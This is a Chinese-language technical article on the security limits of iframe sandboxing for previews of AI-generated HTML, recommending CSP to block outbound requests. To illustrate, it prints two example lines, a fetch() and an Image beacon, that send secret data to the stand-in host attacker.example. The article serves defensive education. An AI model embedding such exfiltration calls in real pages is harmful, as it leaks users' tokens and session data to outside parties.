logo

iframe 沙箱只挡读不挡发:AI 生成页面预览的安全边界

作者:新兰2026.11.06 19:50浏览量:0

简介:在渲染 AI 返回的 HTML 字符串时,iframe 的 sandbox 属性常被视为隔离方案,但它只限制了帧内脚本对父页面的读取能力,并未阻止数据通过请求外发。本文通过一个最小验证说明:即使沙箱已拦截 parent 访问和本地存储,帧内脚本仍能向远端发出携带敏感数据的请求。文章进一步分析 srcdoc 的同源继承机制、sandbox 的能力边界,并给出基于 CSP 的补充防御思路,帮助开发者在预览、低代码和报表等场景中构建更完整的隔离策略。

iframe 沙箱只挡读不挡发:AI 生成页面预览的安全边界

从一个常见的渲染场景说起

在对话式 AI 产品、低代码平台或报表工具中,一个非常典型的动作是:模型生成一段 HTML 字符串,前端需要把它展示给用户。最直接的实现方式,是把这段字符串塞进 iframe 的 srcdoc 属性。

srcdoc 接收一整段 HTML 文本,浏览器将其作为一个独立文档进行渲染。这样做的好处很明显:生成的样式不会泄漏到宿主页面,外层布局也不会被影响。相比直接把内容 innerHTML 到宿主 DOM 里,srcdoc 显然更体面,也更符合“隔离渲染”的直觉。

代码看起来非常简单:

  1. <iframe id="preview"></iframe>
  2. <script>
  3. document.querySelector('#preview').srcdoc = modelOutput;
  4. </script>

大多数开发者第一次这样写就能跑通,跑通之后大概率不会再回头审视第二眼。然而,这段代码背后隐藏的安全边界问题,远没有表面看起来那么简单。

沙箱确实堵住了“读”

我们假设宿主页面中有一个元素,里面存放着敏感信息:

  1. <div id="secret">TOKEN-123</div>

在 iframe 内的脚本中,只需要一行代码就可以尝试读取它:

  1. parent.document.querySelector('#secret').textContent

在没有添加 sandbox 属性时,这行代码可以顺利拿到 TOKEN-123。接下来还可以读取 parent.localStorage 的长度,甚至向其中写入数据,整个过程不会报任何错误。

原因在于:srcdoc 文档默认继承宿主页面的源。浏览器把这两个文档视为同源,因此它们之间拥有完整的互访权限。从浏览器安全模型的角度看,这一步并没有“做错”——同源策略允许这种行为,问题在于开发者是否意识到 srcdoc 的本质是同源继承。

当加上 sandbox 属性后,情况发生了变化:

  1. <iframe sandbox="allow-scripts" srcdoc="..."></iframe>

此时再在帧内执行以下操作:

  1. parent.document.querySelector('#secret').textContent
  2. parent.localStorage.length
  3. localStorage.setItem('x', 'y')

三处全部抛出 SecurityError。这是因为在只有 allow-scripts 而没有 allow-same-origin 的情况下,iframe 获得的是一个不透明的源,与任何源都不构成同源关系。parent 对象的访问被拒绝,顶层导航被拦截,本地存储也无法使用。

从表面上看,沙箱完美地解决了读取侧的安全问题。很多开发者的安全检查也就停在了这一步。

没挡住的那一半:数据外发

沙箱属性管的是“帧能碰什么”,它约束的是 iframe 内部脚本对宿主页面的访问能力,以及对浏览器能力的一部分限制。但沙箱并不管“帧能发到哪”。

换句话说,sandbox 限制的是读取路径,而不是发送路径。当 iframe 内的脚本试图把数据发送到外部服务器时,sandbox 并不会拦截这些网络请求。

一个最小验证可以清晰地说明这一点。假设宿主页面中有一段敏感数据通过某种方式进入了 iframe——比如模型生成的 HTML 字符串中本身就拼接了从用户会话中带出的信息——那么 iframe 内的脚本可以轻松构造一个请求:

  1. fetch('https://attacker.example/collect?data=' + encodeURIComponent(secretData))

或者更隐蔽的方式:

  1. new Image().src = 'https://attacker.example/collect?data=' + encodeURIComponent(secretData)

而 iframe 的 sandbox 属性对这类请求完全无动于衷。即使沙箱已经拒绝了所有 parent 访问,即使本地存储读写全部失败,这个外发请求依然会正常发出。

这就形成了一个严重的安全缺口:攻击者不需要读取父页面的内容,只需要让数据进入 iframe,然后通过网络请求把它送出去。而“让数据进入 iframe”这件事,恰恰是 AI 生成页面预览场景中最自然不过的流程——模型返回的 HTML 字符串本身就可能包含了用户输入、会话上下文或模型在请求中读取过的信息。

srcdoc 的同源继承与数据流入口

要理解为什么沙箱挡不住数据外发,需要回到 srcdoc 的工作机制。

srcdoc 的值是一段完整的 HTML 文档文本。浏览器在渲染时,会为这个文档创建一个独立的浏览上下文。但关键在于,这个浏览上下文的源继承自宿主页面——除非被 sandbox 属性显式改变。

当 sandbox=”allow-scripts” 被设置时,iframe 的源变成不透明源,同源访问被切断。但脚本执行能力仍然保留。这意味着 iframe 内的代码可以:

  1. 访问自己的 document 对象
  2. 执行网络请求
  3. 创建各种 DOM 元素
  4. 调用浏览器提供的部分 API

而这些能力足以构成一条完整的数据外发通道。

数据进入 iframe 的途径多种多样。在 AI 生成页面的场景中,最常见的是模型返回的 HTML 字符串本身就内嵌了数据。例如,模型在生成一个数据表格页面时,可能会把从上下文中读到的用户标识、会话 ID、甚至是其他用户的交互结果拼进 HTML 中。这些数据一旦进入 iframe,沙箱就无法阻止它们被发往外部。

CSP:补上缺失的另一半

sandbox 属性解决的是“本地读取”问题,而“网络发送”问题需要另一层防护来覆盖。这就是 Content-Security-Policy,简称 CSP。

CSP 本质上是一份写给浏览器看的白名单。它告诉浏览器:这个文档中的脚本可以向哪些地址发起请求,可以从哪些地址加载资源,以及哪些行为是被允许的。

在 iframe 的场景中,可以通过两种方式为 srcdoc 文档设置 CSP:

  1. 在 srcdoc 的 HTML 内容中直接添加 meta 标签:
  1. <meta http-equiv="Content-Security-Policy" content="default-src 'none';">
  1. 通过 HTTP 响应头为宿主页面设置 CSP,并使用 frame-src 或相关指令控制 iframe 的行为。

对于动态生成的 srcdoc 内容,第一种方式更为直接。当 srcdoc 中的 HTML 包含一个严格的 CSP 声明时,浏览器会按照该策略限制帧内所有网络请求。

一个针对数据外发场景的严格 CSP 可以这样设计:

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; connect-src 'none'; img-src 'none';">

这个策略的含义是:

  • default-src ‘self’:默认只允许加载同源资源
  • connect-src ‘none’:禁止所有 fetch、XMLHttpRequest、WebSocket 等连接
  • img-src ‘none’:禁止通过图片加载发起请求

这样一来,即使 iframe 内的脚本试图通过 fetch 或 Image 对象将数据发送到外部服务器,浏览器也会因为 CSP 的限制而拒绝这些请求。

沙箱与 CSP 的协同防线

单独使用 sandbox 或单独使用 CSP 都存在局限。

只使用 sandbox:

  • 阻止了 iframe 对宿主页面的读取
  • 阻止了同源访问和本地存储
  • 但无法阻止 iframe 向外部服务器发送数据

只使用 CSP:

  • 限制了网络请求的目标地址
  • 但 iframe 仍然可能与宿主页面同源(如果 sandbox 没有移除 allow-same-origin)
  • 同源环境下,CSP 无法阻止帧内脚本读取父页面内容

因此,一个完整的防御方案需要两者结合:

  1. <iframe
  2. sandbox="allow-scripts"
  3. srcdoc="...">
  4. </iframe>

同时在 srcdoc 的内容中注入严格的 CSP 声明。这样:

  • sandbox 负责切断同源读取路径
  • CSP 负责切断网络发送路径
  • 两者共同作用,覆盖了“读”和“发”两个方向

更完整的实践建议

在实际场景中,针对 AI 生成页面预览的安全加固,可以考虑以下几个方面:

第一,对模型输出进行预处理。 在将 HTML 字符串放入 srcdoc 之前,可以在服务端或客户端对其进行过滤。移除 script 标签中可能存在的危险调用,或者在 HTML 模板层面将用户数据和展示模板分离。

第二,使用独立的源。 如果条件允许,可以将模型生成的页面渲染到一个不同的源下,而不是使用 srcdoc。例如,使用一个专门为预览而设的域名,通过 blob URL 或独立文档加载。这样可以从根本上避免同源继承的问题。

第三,分层设置 CSP。 宿主机页面可以设置自己的 CSP,限制 iframe 的加载来源和 srcdoc 的使用范围。同时,在每个 srcdoc 文档内部注入严格的 CSP meta 声明,形成双重约束。

第四,建立数据最小化原则。 模型生成的 HTML 字符串中,只包含展示所需的最小数据集合。任何不必要出现在预览页面中的敏感信息,都应该在进入 iframe 之前被剔除。这是从数据入口端降低风险的关键措施。

第五,监控异常请求。 即使已经部署了沙箱和 CSP,也应该在服务端建立对预览相关端点的监控机制。对于异常的请求模式、可疑的参数内容,及时告警和阻断。

总结

iframe 的 sandbox 属性是一个强大的隔离工具,但它解决的是“读”的问题。在 AI 生成页面预览这类场景中,数据还可能通过“发”的方式流出,而这是 sandbox 的盲区。

srcdoc 的同源继承机制让帧内脚本天然拥有对宿主页面的访问能力,sandbox 可以切断这条路径。但网络请求的出口需要 CSP 来接管。只有将 sandbox 与 CSP 配合使用,同时辅以数据最小化和输入过滤等策略,才能构建起一条相对完整的防线。

对于开发者而言,最值得记住的一点是:当你把一个模型生成的 HTML 字符串塞进 iframe 时,隔离措施不能止步于沙箱。只要帧内还能发出网络请求,任何进入帧内的数据都可能成为外发的对象。而 CSP,正是补上这缺失一半的关键。

发表评论

活动